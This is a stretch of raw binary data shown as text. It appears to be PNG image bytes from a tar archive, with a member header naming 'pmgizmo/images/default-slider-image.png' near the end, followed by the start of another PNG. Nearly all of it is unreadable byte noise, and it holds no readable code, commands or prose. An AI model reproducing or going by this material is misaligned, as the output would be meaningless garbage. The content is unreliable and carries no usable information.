�C^G�|��x?Q�T�V+���|�d2�\���2��(�J�Ju~~�T*����ju,K�RlV�2�l2����g��j������[���D����+��~��n�������Ɔ �Db8R�$�f�933�t:-��b�n��tϞ=+�J�Z��jY,�T*U(VWW����:������D�X,޾}[&����~���ɓN���_����b�X�V��v$U�V�C�{GGG�(������*�C*�ⷎ����?L&J��W�x�j�j��������b�X\\\�F�`z^�!��`�D"���L&Ug8���`0�a�)}���@������j<W�T�����fWWWk�Z"���z����ݻw����j�X,�b�p�t:V"��o���ӧO�@"��T*����_A=�)^��'Ob��Y,�f3�����J�ӑPv隔J����>�EBc�ԇ�x<n�X��v>��t::���񜜜���|����T*���+n����n{{{*�J����q�L����j��٬�b�e�n���;}>_�^7�L`"�@��nOY�b�V��l�X,a4����3��h4�J�g�ݮ��n����Ka�p:��N'��5��D"A:���?�ō�
�(ϟ?��m�Z�Z�^����{��`0��f�^/�I*�".@��״Z-��A2�BQ�N������;��)�WN�����;�lV�R]�~����?~L��2����pccc0����`=r�s�T��L&��t�ݻ�I3�Zm�VS*�f���A���~���s��֤��j�DQt�\@�Ji=�2���������O$��V�]hwww}}��o��&����R��||��G�������p8�p8�átb+��k0��9�����R/�V�qx�X���X,V�Th�I��j��r9w
��=$Hτ�b��v*�*��|�[�n�&f�9���A����f��ny��=�N���,^��>���A���.��d2i4��hD��zA�޾}����D���۷o�#AH�R��r��+�x<F�1�ϳ4
�Ѩ�j5�����Z��}�]2�|��a8N���v��o�I&�?�����g
��z�j��ׯ�á�h�s�<<
���,,,(��o��V�TV�U�N���L�јL����R����߼y��h�,^���O�<��):�N.�O&�3[P�Zu:����L��FJ�}>��b9<<d�d�Y�^�l6)�"��\.�T*�v�����r��=���*y�\.Eqgg���J�쐬�j���˿�=i-..�J%���d�����u�~�mlA�r�<��i��x�R���b���$i�v�b�D"��`���-��۷��f�Z�a���C
�
	t&��z�H��������f8�f��B!�J=y���:���?J�:�ܲ�����u��UK�T��r:�[[[�ш�N�R9�N�$ΧN�C6�t:����/^aee�h4F"�r�<��� ����W�T������v���ի�d�P(���F6�m4�n��D�%�Z
$
�x=ؒ����z���r���mll����h4�l6��jU*�Z�����j��r��nw�� ��#�777���x9�N���l6
��l���;==�h4�#��LY�B(Z__'»w�����s�F�����������n�P|���uuu��L�^F���t���|>/�u(������D"qqq1x�v�=�L@����
�D"Q�դ#a2��{K&��T��h2�T*��FC�T�j�b�H�H&��L�V�%B��?>>��x�_��W������/^��z�n��X,�z�*�Lҡ��|� h��^��t:=���E*���r�V��h�L�F�����H$�Z��n���T
�����Ύ�n'�`��d�������ʕ+<7F�Q�P�������f��10R.�+��l���^���L&�+++�Z���\.�J
	�L.��t��n����j�͔�+��nnn:��o���Z����P($u�%����p{{[�R�|>��Գ|��l�Ǒ��B:�~�Z�B�~ss�I*r�wF�QxA�+|����x�}���lll�\.�v:�@�?��|Q�H$b0�����Z�6e�
���Z���ɋ/n޼Ij���4�p8,�˴�ص{����
�͛7)?�� ����l������v;-�F���Zm�\.��n�\.�B!:j� 4
�\�P(H�9��fs���]4e�J%'���B���d��"�ꫯ�F���_XX�Z����윍F#��LY��R��T*���_-�T%����7��q�J����㑐	z��b�l���mnn���P~M&	=�¥���tRe������xH��J�N�s�\�tZ���7��
�f�`0EquuU�T~��7��*�}J0���+<~�8��Hr%�� �i4�|>��.i�C;��nڪ:������`��j�N'g2gC�X4�L�|~���x<�L&�	,mU���h4�ͧ��ܑ^�w������D"��X,�nw<�L�n����=��B���b�߿�����Y.���r�`S����!d7t�W�L����R��r�F	04��j�Z�R�D�����db6�YV�v[�Ry<�n�KO@B��h�$>�l6���{�F3{����ϩ�
��;�ލ��j������p�p8Xڔ�+�ge�R�^�W��c�X��!��h4��\A�T�B�vj4�F�n�S���D����l6�x<�v��ڌ�c�[�v�X,J����3�J�v�%5e���,��N��������@ �R�`�(�ʣ��n���z�*MY�¥K��<uI���M&�Jb(�˒\�=�P(�L&����$U*$-�j��f�U*��f�f��e�l6�}w�~�$�k�T*�����=��h�l���5�BQ������n�\��L&�V�_~�f�P��f3�\.����)�W���=����JU�V�n�BQ.�A`'��:f�G,�p8 ~�T���M��177g2����D�#�`7�Fp�ͦV�%�'U��w8�^^6H�\.w:��8Q��`�{<�J���{��%�DQ$}o4sss��,^aee%���6�M^G�r�� I�Nrx�^���~�L&�
n�����흝�U*A༲�������t�\-�#v!V;X�߇�trrrrr�t:].W0D��Y��h��W����T*%��իW�����1g�e�۽^��NS�����:��R��J�V{<��D�"3�ǵ sss�_��H����>�r���� (��Kr
E4E��j���r��8==�w��8��@ �"$
�*��7oތF#P���i�v���T��h48��0���D(��x&�)����q)��d�(pD�Q��餠��s~~�K���d(qz��ɞ�b�z���P(�ǒ�x�P(h��~����}���t:���nk�ڭ�-ҁR�D���^��E���W_}����"���+ܼy�#[�B���J�ٳg?����f�X,n�[*lEQ<==m6�����Ͻ^��`���j9fd2g/�k4G��J�r8Ҟ��˗/'��l6Kʮ�ju:�S�\�t:� ��~�������\�v�:����z�bqvvv8��m���������A��Ī���S�8�L��t6��ƍ��T*���u:���MпL&sxx�N�Y�,4���`P*�����T*��2�9w
2�L&[__�4l/P"`��Od�t����6���R��L\ָ�}�B;<<����p8���/U�S�`4EQ������T'�\�R�|��(T)H)3y����\�J�R��v�5I~P.�����R�X,6��%���?�xtt�]�X,,g�����r�,e�.�$:���������~�������nݪ���~�-�����)�W���癙�k<�r9:�J�2�ˍF#�FCi�UJ��~8����~�c�T*E3�\���b��l6�F��ÇX,f08���l*��|���^��ߢ�FV�T�lvvv��L&����h�r���u	�z��-�w��p~~^,�_��!7e�
�?�
��3_�V�T*��n��8�S(B����K��_~y���fn����j�`AD�y2��F%m"au�����h���Ljfff޼yc�X�^_^^淤~��ٙ\.W�T~�?�J��"k���S���d2aGb�Z��`�(G��ǫ��?���d��_�zH�;�\�f���ONN���A)[���j�{R5�mR[��Fb�A��dž�� �N��/^d2��F>B�n߾�f��������,9���+���|���b����^�hP�2�@����7
�"�N��n�Ʉ>*� ���z���L�TR��l�t:����r��v;K�����h���fs������^�7���r9���}�����������n޼yzz�L&���+����3�/���S���jщ�f��{(�$��V6�=::����T*�p8��t=�r�@�����nnn�
R(H���(~�l��n�R���#)�?'��y��j����:??E��^�_]]�F�{{{\���n<GI��Ҕ�+��׿&a�����f�5
��+���z�޹��v��B@�OBU*��F#X��n_[[��d_|�N�����Z�vtt
E��H��rf��eD�>|@H�*�)�h4r�������<��HO8����7o|>�իW��\t S����>�/J�~��V����MN��Ϳ�e$)i��q��,��J��L�,\�V���]\\� ��߾}[�V�oh4�f�hi�U*�z��x$A3Y{0D�L���rIh5��p�^���j5�G��g㚲x���4��r9�N�;�F�Z�,;�L��!ɒF�Q(�^o2��l�V���F����^�7
��u�6�J����@V~��`0�&-�˔��f�V�+><<\^^fisPA#�yf�٨�A�r9X07���J%�M�X�h4��̔�e0b�F�r��,^NՏ��J$GGG��64�P�q�N����V8��ҹ��9?�����g8mܸq�o�>|�T0��J�e�������E	aY\\$S��)ɴX�o޼1��7n�����׳g�޽{w���t:](�� �]�ej��<::�#l6�3��J����)H&��x<�����x෣5%	Fi���3Z���7�u�����E�^/���`@��E���#�d���mh�@' U4�ٲ����h4�N?|��G��soݺ5e�
�n������G���DF�Q&���j�@@��r�S����˗/4��^����Q9o� �,,,lll\�t	?O���k$�
�V�)
��zqq��w�mmmi4����F��{j�V�ESf<��^��J�T*���^�۽{�.r��pH�M����4�+�����sDo��T����n�����e�w�+JT��JT�F����а߾}k��Ѥ��DKeszz��t>}�t��M����i�Y(�ϟ?W��+++�=:==�������P������ի�4${�X߽{7e񊸚�_�|yww����j,{��	�3BVD�J�2�JIw��ے�x2�H]��d�r��p���x<��p���t�h%H-4J"xZW�\a��R��	˖E�V�q���a.��	�L2;�S�/^�4��nmm%�H$2c��N��T*�x|2� @��9L��b�xrrq�-��(
�v�x���z/?����E|�֗i}}���� 	�L&{��9�h��p�Qw����$�$���x���ð�h6Z,����N�spp��0�+��F�1��i�
V���~*��X,F�qnnnooO.�_�t	Ƙ����$���S>���e��h�[,�V�l6�v��l�T*,��x�d�C�4����v���T*��!�:r�T*uvv�i�����b1�/����_ pec
��Z���ׯG(+��T*,a�r�-KKK~�_�@ P�V���
�!(*^�����s�\^ZZ���w�\t�ݮ��T*(w~��g�L����F�����O?�D������@b��H%[���t깒˗/c�8M�l,�R��4�&=::��tV�U�N�#UT(������Qu���Jq/r�\*���%����D�-�ɞ>}*�|���phK��N�K�RZ�|r~~�mJ2�����m��4���.�Ò��4�+<x��4C@�,�������p�UJ�B�J�sss��l�...�z���S�z��{������rf$�~���u:^�T��pؕ�四��P��a���.9^���'y<���W�,^�ѣG�3�F#�~��tg��K`:�Q��BI�<��v��=;;�0찌3���wyy������4�����{��k׮����z�^��a��P��k4�Ph2�*
�Z���� �J�O���v�)��X��̕+W��+ܽ{���-��R)X�l��F��-,,pe�D"��>��#
1�:�B����k*�z>�o��GGG���PfA�կ~U.��� �\NE��ׯ_��v���H�~?�L����l6+��J���d*
V���ry�^T�X�rO1��	s�\'''S����Ͷ��/���������qM���f�%칕���W�\1�L�J�X,b�)������i1�S.����tȰ�X^^�����M)�ɔ�e�Z](`k���Q��N������1B���Y���r�
=X��ቁzk��������v�=e����D:�)��J�:�z�^�v�-Mr���u!�b�}S͏?'r�s
��p8??Og2�,--M&���������d2���19H����4���A��A*��R�T��J�J���~��YYYAFm2�����+Jg�\^,i
�(2�L��F(�N������&�B���E+����
���%�}tx�p8O�<I�Ӓ"��7Ff�p8�i�3���`�@ˤ�v�\sss�:&������+��?�U�V�5�Lp=���(-K���t��^�h4��r�(��ִZ-Shg7�X,�jB�C6�k0�F���9�N GQ777�I����Fx���p�&a�`���8�;w���`0xqq4��OY�ƒȳ��P�=���WL^v�t�X,���^�t��h$����F�qqqq��]IS"�b0<>>�q��t�á n�S�\.������@J�VK�P��r�ߏ�+Z�RAH!'|��N������w��]2�L&��v�.�S��1�'�\��y��V���!rH���V�����x<��N��P5�T���}��
�E�N�{��!"J�~�O�
ͭ�����C����(�>��������d�Ǒ������L&R���Ǐ�|�T*��\*�0m��x��N�rG���˨\.��㽽�Z��za�a��|>���߽{7�J�M2Q�n������u���B�ݮB��s����\�׻��0��\��n�{zzJU�h4h���b�x���n���ŋD"A��-��̌�j}��%4!��]�׿���ñ����fqC@��h��|OY�.��:�����곳�b�����f8��|�5
D �|����g�Y��O��hE�^��p�!g�B!��d2���{����ooo���&�!!`�gϞ�N�|6�
&'�������߿���C����y��
�B�P.�9H�f3���+��7�����x��������KKK.��l6��j�l6[.�}>�˗/�:�7��@������Fc*��F�>���/�|��u��<99���Q�1��f�A5��j333\O�P`��l6��x��v6�E� ���x<N&�r����
z�\6.k�fnnDc��ilJS��^/�.R�t:]*��4'�!���P#  ��	�J՝R������|w��q�\;;;/^��l�Z�y�;:;;�V��B��O�L*_���Vk4�N2������7�Hx�^�@Pc��������O_�b�T��f6�)k������Hg�������tL��2��y���(�8���찕��O�������Ӡh'��M+�V���`ǣ3Ny'�@����߼ys��5�L�H��9�T*��}>n�R�u���ܹ����n���l��ZZZ�C�T*!'Ew��ph0���>|�d2�` D1�N����qtt7�P(���싻Ì���M����7RD���ǹ\.2{!J��J�V�3a�X�8r�R���hiiI�P@�����dr��?~��h$O�شZ��'��6�V�v�����B�}���ᠹC�x�H$��z;2�W�^�@3�*�y�&�N'	ܬJ���s��f��F�v�Mz�*fBc.���7���痗�-���)�<��:��V��=��f�0MS��7DQa��an������R�Ra0#��~��]�1�p2��8��}�C��2V,��K�׳�H.vx�oll�_~�����j=>>�v�H$�l6I����j�KKK@��X������8�8]���,^aff��u�l�����7;;���`��(K�Z����p8�?SE�D"�?�iaaamm�2K�G���D")(�N�{�n:s� w�C>�g*8ԅZ	���˗n��_z��&d+4+��F�Q�T����S���d�����؈�b�$���W����sIp��=}��-*�L����ig4es�\�_���`h�ې��a��5p���N�T���f��|~ccC�R-..���L�?::��\�M����Cn�������kkk������WWWAZ���s~~N����> HЁ@�I���>��P(����z�^��J����ݻw߿�L&����v����,l(�Gt:����M�>�3??�l�l6�B�l6����V�hc\�z����/h��㹹�)�W4��Fl����:��l6�C�Z�]t�v{vv�a�,4%(?�q^T-X%s3�cwFF������U����x� D��|>͗��������-�y�UbG�#����D��MY�����1�A�ĥ�d�I��0�@(�q��rU*bvƴ�|ؗ�j-
�VG�r���d�j5��ƓH$��V�#B7U�je��Z���r��HN�3�N��(�b8�Ha��)^����L�F8�N��ݻ�m��yድ�o��ut�\��`�(YT���X�PQa�j��j������	����#e�x&��f�Eѧ///������O�T*&$����n�B��S=�蕕�d2�Ǒ�X��x�Ǐ �~0�C����<эFSɛ�F�^�:T*��۷���0�*�����:��ikkK�^�
�h���n�}�����o�Z�V�Fs���_~�%�Lnoo/,,�B!�G��q<::2��h-�E��Q`����xE6}�(`���u��p��!�Il5h�$kb�09e��L&�~��ג=����f�[[[�N�弸���A�R���(�%+�0��Z�T�ͦ����h6������ې!VWWu:
��p��J�d29???e�B����D"�`	��P]__GԚN�3�����C�b�<��ǃ��hȵZ�o��o��Xȯ^�ZYY���^�|�n����"���
��d2�Fx�^H1�u|I��}N���8��NY�"iR��!MJ�Ӂ@wM86f�����d2Y__���\c2�ܿ���~b�!$��jF�V�MH��Ҥ�c������@��ߧ�F��VJ�;i����Y\����y+�i�W����+�Ӊ�C>���C��~��5=6�V�ucc����eA����h����B���[?]�p8|vv���;���$77��u:��
j<���$�+�_�+� �b�j��{���I�R��%B�򥻻����`0����<99YXX��xE�s��pJ�?}�����:�����}��i0��ݕ�����w�P���2��L��jmll���sũ��ä�J��t:�*!|�O��؎)-��g��377�r���줒�;����(@��l^ZZJ$�[S��w�wX��r��px��]�o�F�ǯ]�vrr��D�|'���#�n���1�r�|�R����>}��j_���b�zW�^�V�ggg��yJ7�p���G��6�N�����IϠ��y��8��q���OY�
ɋx0<|�poo�����wgN���N�;::�Fs3���,�l6��Y}h򎎎P�`O�g�>������X,>���`0�Ir����QE1���E���C��hh�ʃ����!��S`+M_��_|��.shS��Ç�j�$�*��r�'э�h<88�FG���F��������m�ZI���f&��'����|��^�t������"�Z���E���{ttD;�������ի�����E��r����^o����_��n�G�Q䯸���7+7�L&���c1Y�Ð�y
������QY�l������m��"�Ăj�����R���F���5��J���Cs"�烃��~�	�,�=�@��$U��q,%$7�~����6e�
ׯ_�@�v�/..$/�^�����Cwd�tH�X���;w�H�-�ӟ ���ׯ_�J�۷o�A�Z�H��)�|>�t:)�pl��?~Eq}}�j�N&�^��#�|>_(R*�P��r����d29>>�~�z0���>����t{{;
�Hk��S�p��
��?}���۫W�2��+�a��c
Q�Z�v��dR2�V*�j����˨����/�P2��������d�V��_��d2I&���F.�cJ��h�<�z��Ʉa�R!�T*���?Ғ�f��\����xaa!b2�n��,^᫯���T*W�^���[[[�`��h�~���L&�v�9<�|`,�j2��ud��zW�\A��n��� 5V�|A����`pR��C��l8��ŒL&3����(�t������"{#�^Z��Y���O|���ݻwU*U<��6e��}��3s����z���D�=�-˜u�w֗R��D"�#���a��z������:��{��c0�	�f�����-D�G<�_ ---��j<�ج�9'�����0����~k��#���i�W��e���� $��pH��H$�������~��Y�T�\�R�T�PX]]=;;�-�ύ(��X�y����۷����<y��t���K�<c���H$����b����z�$KT��T��:::���0�L(ݦ/^��]���,�븷���	u+����D�,��J%R���E�ɐ��`0�0���A�ʸ����x<�R���?�#�ͮ���j�D"�I��ݻw����yA1x8��J�]��3��ӧ�@ �HT*�{��Is^�,^��'Ob��	e�c�Buee����5)�ʭ�-6}֋���>������|>��t�{rrž����������ܔ�moo�x<.��677[�V6��� �oIS>9�l���C��W��M&�H h��S����F���px��=��@��F%�,���z�Q��p)�0�����T*PKH����b����A���o߾e��f�-�	L�`��+��^`���kZ�~i�L$�����`͔��B���ߪT��ׯ߿��Ǐx�nll��D����>Kt�2�L�ӹw�'�p8�j��Z��d�����>���^b�HC��Պ��r��<���z�����]�۷o3a���D"P�؅ ���MS�"����x-p��=
������������\
I��؆-��ᄏ�����ɔa�h�Iw
��=D�D���R��?��|�[�n�&f�9���A����f��n��RbMM��g�}���_� ��c
)��4u��۷����Hd<�}�<B�T*E�����m;��;�,���n��j�~��w�d��Ç�p8�N���o��&�L���������U�Z�����ph4�\�� 
���,,,(��o��M��N�svv�Q���f�T���o޼�h4S�x���'O�H��T�X�
͎�t:��S�H����å�%=��lRTE"L�������b�{<̳��杝v<J+��C�^���/����y���X*�8�&��Ǐ�
M[�)�s2�N��ū(�J��q��<�H$"���}�v�٬V�08]y��}HC�:��`|�������f8�f��B!�J=y���l?~��)t>�e'''�����4�R�D��t:���F��4\�$ΧN�C6�t:����/^aee�h4F"�8�|�������j�2��)��ɳ�,΃�$� �/��j �P(���̘���=88��.����lcc���hd�٬V�R��j�^���1�:2�p�iᔃ��n���v�����p82�̔�+�B���u"�{�n�XD�����������t4�Z�����"]]]�;�������:��\���b"��T�+�A�h4�z�P��jґ�%f*��#�L&�J%��Ld�O$��L&^	�~���x��~��_��߻wO�׿x����b�իW�d�56�Z��A&����"�J�r�V��h40����I$Z��n�c�����՝�&Cc{��d������Y�N�z��~��}�p���v.�+��l���^����U�V���ei~!	�w��%�ݞ��H{o��I����߂�b_��m(�:��wxx�����?]V�Y>���R���B:�~�Z�BL��\��h^�
��z<h����'''8��m��	D��?�ЊD"�����h������Z-}�/^ܼy�Ԉ1�f8��e�f�ڽ^��
���͛��H�,����l������v;-.����Z��d���T��n4r�\�P��s����f���)Ym�DY__gH��H&��)�ʯ���h4������պ�����h4��:M�*J��R�<<<L$_���R��
�w8�@|��Һ����x$dD�b�SQ777ONN(�&���Q�Rh�iL>�p/�?�_.�+�N�t���7\!j#Q�`�4o��`�ٔ`��Wx��q E��9nP��<@��9�`0�v�i��t:F�1���tr&s6�El��ǡ�Tit2=U���f3�X�߼ysww7�H��-V&�������@����P(b����<ԗ�\.�˱�MY���瓔���툾�@))	$ ��bL`ǘUJ��� Z,+D@������P+It"=f�yoo�ݻw0�ٻ�'H�v~N�W(Hߡ������p�p8Xڔ�+�ge��Y�cV�VF��?Wq��Ab
���L��r�O)�t� �J�gNX@�bQ�����ah%�(�9�t:������fc��J����T*Q�d��p��.]����K��
�F%1��eI���S(L&��f�z�THZ��g`\��V�T L6�M,�3���fc߇p��I"��x�����Ƹ���Gv����ۣ�-�ˀU���_��,Tn���)�˹��tz��~��_�/��)�4avp[�c�xD����J����t8sss&�	�	L;�v��h���lj�Z�xR5�|���J:��	��F���Q�T�߿�ʞ��<��9�CS����1��u�ߣ~�g�t���z�^��G��v��~������Y�R�+�
�.C �Z,�G�B�>v�~�7�����䄉��`)�d�F����^��V�S��(�W�^���g�B�n�k�۽^��NS�����b.�J�V{<\;�^/Df��k��_�~
��N��
�}���AP졗�>.,,(�h4��ٶ�F������&�t:���P(NȄz�bCMG�����T��h48��0����
�)^���'#5�EQ�F�,���~���\���{%�j�dOj1�Q(�cI
�j��~����}���t:���nk�ڭ�-ҁR�D���^��E���W_}�u�^jNY��͛7�=��3g�R�<{�����l���vK��(�����f�����j�V���JR�b%�R����?x�����L� e�>�é\.w:��l6T����N�s��5�N���0���8e�����]��Ī���MM��d2I�Әlܸq��p�J����N����	���d�kL:N.αQ*���0S�He24r�dNfvH�(0V�'��t:�j�<���J��ƀ``�J3�x �����?�C8��ߗ��)�W0��(���3���m�J��/�D�JA*���F�@ @���@(:ҔaI~P.���?z�^,�F������<::�.���V(kkk�rY��q�	�B�Hdoo��X���kuu���\.�u�V�^���o�����NY��?��?cEc�X��q.��S��!��(��Jɕ����ù�9��v��J�hF�k��Y,|�?|����~6�M�R>�oyy�iXR)F��������,�:�Lfgg��(2��,�������[�����X,^�~�Cn��?~<
g�Z�:R�T�3�n7tq�P(�Nuww�N�/�����;�W�U��O��VK�[��P!S��xaT� `V7vh��#5333o޼	��X�^�cR�§_� mfäR)Pd
�|~��U �L&��
DUD:4� ʑh���j���?09�Z��z�
��wp�\�f3��������R�Z-&E����cI1.���R�t:=_�x��d\.�If �}�v 0������f��x��033���'���{��@˄E�˗/S�(�t:�v�M&��H$��_�����3�RIf�����������TT,U�Ji�'~cn����R�J���s���������x<F6v������d2��W_Q]1a2�͞��NY��V�E':��J�Ix�H�Z�l�b�T*3��z���!��X�o����7�X�D��?��2?\J��I$h �Z�г�`p~~�?%׿���F��������x<���)�W���M:�������fk4�V�p=�B@�OBU*��F#X0s�d2�_|������V��Fc$�?�FS.�~��!5�����>�OEz�i�P.�߼y��^��H$��[防x�������|�`P��M�Z-�fhr��n�/#II���r��T*����j���3m$�۷o��j�
�'q�����*�
|=&�i h&k����\.	��9?�K�uM���ٸ�,^����Fc�\N���N�ѨV��N&F������db�٘�|0�o��ƳR��y����h���ei8�W|xx�����栂FF��f�Q�.��r�`nP��-�J��b���h���)��`ČĞ�xE8T?.�+�H�]L�v�d�����V8��ҹ��9?�����g8mܸq�o�>|�T0��J�e�������E	a��DJ�
���[��|��
A...}={��ݻwׯ_O�ӅB!b�%Q]�&^���G,I���d2*�JR3K� �L������ߎ֔$���g�h%��K�\��
�^/���`@��E���#�d���mh�@' U4�ٲ���8�?|��G��soݺ5e�
�n������G���DF�Q&���j�@@��r�S����˗/4��^����Q9o� �,,,lll\�t	?O���k$�
�V�)
��zqq��w�mmm1���h������jєa�g��K�RL8�v�8�g2�K`����Қ�x��~~��c?�JQ��m�߿����vE�j�Z�J��0���۷o�1噔��
�NOO;�ΧO�n޼ɶ`��9�0k��?��+++�=:==�������P������ի�4${�X߽{7e񊸚�_�|yww����j,{��	�3BVD�L1����۷%�1�@�&�	����n���x,é���(A:h�Q�Ӻr�
;��JOX�,�/�Б�d�p��dy�'�����W$��[[[�D"���X,���*�J<�L&кq�1���X,���HF�����7�B�]<g�����O�L���_��eGZ__?::B&HB!�ɞ?�;�C�*i����^Y��i��>|��:��h�X���;���A,�ȯ\.��@ �N�A+X����T���sss{{{r��ҥK0�<ϧO� i����)��\.��F�b�h��f�i���f33���X��}�@�z�^��.�p��L����q,�p�����n,��2M�
_|�W6�`0���P(�~���p�B!�" �J��,�۲���A`���B��>E����Cp.��KKK���.��NB��u�\�J���?�,�����h4|>_�Z�駟(��H�3�d+�����N=Wr��e�)^���1�8�&e���jE���H�)0:�zxT��`"�R܋\.�J��va�~Jd�2���ӧ�����
��T�t�T*��j�'���٦$#z����v	NO�f����)^����g��N�^�3�_F6"��������l6�@�����^������bA��h4�~?�.r���0��:��N�`�E8������MP(�Kt�0GGb�
������@ J�Q05�
�=B�a4��;�@]���҇Jr�����x���������pz��qF��`0�2���4�����{��k׮����z�^��a��P��c�d29<<T(j�Z��3���ht���L,@}��ʕ+�|~���޽�D�Ƹ7X�l��F��-,,pe�D"��>��#
1�:�B����k*�z>�g����.�YA~��_���p8�4%�c���ׯ_��v���H�~?�L���Fs�J%��T(�V����z��2���b���r�NNN�,^�6�m�)z����I����5��6�MT���VVV�_�r�d2U*�b����\.o����N�\�a��l[���e�...ؔ2�L�\V�ՅB������ �t:�#�5��.�K�P уuψ���v��ލ^����h��S�8NNN�s�J�T�������k׮��$7[__�1R,�@��0���#p"�<�p�P�����w&�����d2�����O/M&����Z- 	�O��l0$��B�-�J�_Q�TL�t:+++ �ȠM&S6���xE��� /Z�,�L&�n�J1Ko0����&�B���E+����
���%�}tx�p8O�<ar8�@������� ����B��"M�+�.�knn�QG��4w�~��x������j�&�	�����e�T�2�n����F�\�����ښV�e���F���XM�t�&�v
��h��=��	�(����&�0����5N�$,�9�1G�w�Ν���|>/..�f`@3}��<x@����\�b�r����b����ҥK�F#�H,,,�84�����w�J�Q�����1��N���@�ۍ)}.��������Y| �V���G�ߏ�+Z�RAH!'d������F�����d2�\XX`/N?����+bF�	<okg��zxx�R��i��j����!���a���|>�"T
*�j�{ǮB5F�����>|�������cCs�z����+c+*�����|;;;8Y��qd%���o�d���G\>T*��l.�J�6OS��e��	�����eT.������^�V�z���Ȱ��`>������޽�J�ئ���v���\�^��
(���*�;w����z����ј���*�v��d_��b�ۋ��իW��.�)ұś���Z�/_��&�v��7�|�p8vww��,nB5�4;�OY�.��:�����곳�b�����f8��|�5
D �|����g�Y��O��hE��q�~�rf(�O&��߿�	���6���l���x���$��g��`r2^koooii��z�>
y<�/^��.
�r���l6SlQOY��o~����(�I�?~����r��f3`y�V�f��r���|��^��~Ȁt�޽@ ��h4�R�h4����ׯ_7�͓�f�T�z=�Q1wX�Z�633�
��f��mg�Yt2��^����d2)��=O�P�G�e㲦�h���@4�)^QL����"eN�ӥR��pHsR�J[5"��@ P�TP�)���y��w���˵������&��ʐ�����0k�Z-=0_�� Τ�Zmqq�j�F�Q�$���;-�����e
5������
���+�J%�of����~qq���)�t&ip8��N�i ���ߋ������[�^�������:
�vr
�Ѵ�j��v<:�w���X�^O��͛7׮]��d��t:���H�R�x����e��x�;w��z��=;;�j�����*�J�	DQ�`8if�2�L0QL�����o��…1
��w�#���0#bss�j�2�b5A�q.���E��Y�p&,GY*��---)
�v�}aa!�LNY��^���ψIEND�B`�pmgizmo/images/default-slider-image.png000064400000021350152223213640014166 0ustar00�PNG


IHDRp^���	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�FIDATx���mS��ـ�	!E��!���?��X#EBHy>��I6�4/Ȗ���L��r�k|r�]������K��@�8@� �p��p8��@� �@� �p��p8��@� � �p��p8��@� ���\�.I�Ȳ�@�8����@��m���Q�����?��3�a0XB	���4o3�X,�pʲ�4M
